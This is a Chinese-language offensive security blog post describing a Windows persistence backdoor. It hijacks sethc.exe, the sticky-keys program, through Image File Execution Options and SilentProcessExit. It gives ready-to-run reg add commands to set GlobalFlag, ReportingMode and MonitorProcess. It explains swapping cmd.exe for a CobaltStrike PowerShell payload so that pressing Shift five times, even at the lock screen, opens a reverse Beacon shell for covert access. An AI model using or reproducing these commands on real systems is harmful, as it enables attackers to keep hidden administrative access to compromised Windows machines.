Shfit映像劫持后门新玩法

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

映像劫持简介

映像劫持(Image File Execution Options),简单的说法,就是当你打开的是程序A,而运行的确是程序B。

映像劫持其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如“explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的“Dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到“劫持”的虚假程序。

简单测试

映像劫持技术的利用,存在已久,这里再简单说明下:修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options下sethc.exe,添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:\windows\system32\cmd.exe

image-20191103214639820

之后键入五下Shift执行sethc.exe程序时便会执行cmd.exe程序。

image-20191103220342922

映像劫持后门新玩法

实现效果

键入五下Shift执行时,先执行sethc.exe程序,当sethc.exe程序静默退出时,执行CobaltStrike的Powershell,反弹Beacon shell 。

简单来说就是:程序A静默退出结束后,会执行程序B。

GFlages测试

文章地址:

https://blogs.msdn.microsoft.com/junfeng/2004/04/28/image-file-execution-options/

下载gflags.exe

https://docs.microsoft.com/zh-cn/previous-versions/msdn10/gg463016(v=msdn.10)

image-20191103225513340

根据微软的官方文档描述,在Silent Process Exit选项卡中的配置,都保存在注册表中。

GFlags工具自动添加并修改了“IFEO”目录下sethc.exe的GlobalFlag值。

image-20191103225811073

以及SilentProcessExit下ReportingMode和MonitorProcess两个值。

image-20191103225940470

这时测试会发现,当键入五下Shift时,先执行sethc.exe程序,当sethc.exe程序静默退出时,便会执行cmd.exe程序。

IFEO_bat

这么一来,可以直接在命令行中对注册表进行设置。(需要管理员权限)

1
2
3
4
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

简单解释一下ReportingModeMonitorProcess 这两个项值的作用。MonitorProcess的值表示监视器进程。Reporting Mode可以设置为三个值 。

FlagValue解释
LAUNCH_MONITORPROCESS0x1检测到进程静默退出时,将会启动监视器进程(在GFLAGS.exe中,Silent Process Exit这个选项卡所填写的值,即MonitorProcess的项值)
LOCAL_DUMP0x2检测到进程静默退出时,将会为受监视的进程创建转储文件
NOTIFICATION0x4检查到进程静默退出时,将会弹出一个通知

与CobaltStrike结合利用

换位思考,用上述的方法,修改MonitorProcess值放入CobaltStrike的powershell。这样,可以在渗透中做到权限的维持,按五下Shift就可以隐蔽进行反连。

image-20191103234056895

实测,Windows锁屏,键入五下Shift后正常弹粘滞键,关闭之后执行powershell代码,反弹beacon的shell。

CS-IFEO